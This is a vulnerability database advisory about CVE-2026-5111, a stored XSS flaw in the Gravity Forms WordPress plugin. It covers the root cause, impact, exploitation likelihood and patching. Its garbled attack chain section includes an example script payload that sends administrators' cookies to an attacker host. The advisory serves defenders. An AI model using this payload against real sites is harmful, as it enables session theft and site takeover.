
Cloud Vulnerability DB
A community-led vulnerabilities database
CVE-2026-5111 is a Stored Cross-Site Scripting (XSS) vulnerability in the Gravity Forms plugin for WordPress affecting versions up to and including 2.10.0. The flaw allows unauthenticated attackers to inject arbitrary web scripts via form submissions, which execute when an administrator views the affected entry details. It was published on May 2, 2026, with a patch made available on the same date. The vulnerability carries a CVSS v3.1 base score of 7.2 (High severity) (GitHub Advisory, Wordfence).
The root cause is classified as CWE-79 (Improper Neutralization of Input During Web Page Generation). The vulnerability arises from two compounding flaws: repeater subfields bypass state validation checks, and the Hidden Product field's validate() method only validates the quantity field while ignoring the product name field. This unvalidated product name value is later rendered without proper output escaping in the get_value_entry_detail() method, allowing attacker-controlled input to be stored and subsequently executed as JavaScript in the administrator's browser (GitHub Advisory, Wordfence).
Successful exploitation enables unauthenticated attackers to store malicious JavaScript that executes in the context of an authenticated administrator's browser session when they view form entry details. This can lead to session token theft, credential harvesting, unauthorized administrative actions (such as creating rogue admin accounts or installing malicious plugins), and potential full site compromise. Both confidentiality and integrity are impacted, though availability is unaffected (GitHub Advisory, Wordfence).
No public proof-of-concept exploit code has been identified, and there is no evidence of active in-the-wild exploitation at this time. The EPSS score is approximately 0.011% (0.021% per GitHub Advisory), placing it in the 6th percentile for exploitation likelihood within 30 days. The vulnerability is not currently listed in the CISA Known Exploited Vulnerabilities (KEV) catalog. Detection coverage is available via Qualys scanner (detection ID 531299) (GitHub Advisory, Wordfence).
<script>document.location='https://attacker.com/steal?c='+document.cookie</script>) embedded within the Repeater field context.validate() method for Hidden Product fields only checks the quantity field, the malicious product name value passes server-side validation without sanitization.get_value_entry_detail() method renders the stored payload without escaping, executing the attacker's JavaScript in the admin's browser session.Update the Gravity Forms plugin to a version newer than 2.10.0, which contains the fix for this vulnerability. A patch was made available on May 2, 2026, as confirmed by the GitHub Advisory (GHSA-r9gg-4m43-3w6p). As a temporary workaround, administrators can restrict access to form entry details pages or avoid using Hidden Product fields inside Repeater fields until the update is applied. Additionally, implementing a Web Application Firewall (WAF) rule to filter script injection patterns in form submissions can provide supplementary protection (GitHub Advisory, Gravity Forms Changelog).
Wordfence reported the vulnerability as part of their weekly WordPress vulnerability report covering April 27–May 3, 2026, and assigned it a High severity rating (Wordfence Blog). RedPacket Security and InfinitSec published CVE alert posts shortly after disclosure, and the vulnerability was noted on social platforms including Bluesky and Mastodon. Community reaction has been moderate given the lack of active exploitation and the availability of a patch.
Source: This report was generated using AI
Free Vulnerability Assessment
Evaluate your cloud security practices across 9 security domains to benchmark your risk level and identify gaps in your defenses.
Get a personalized demo
"Best User Experience I have ever seen, provides full visibility to cloud workloads."
"Wiz provides a single pane of glass to see what is going on in our cloud environments."
"We know that if Wiz identifies something as critical, it actually is."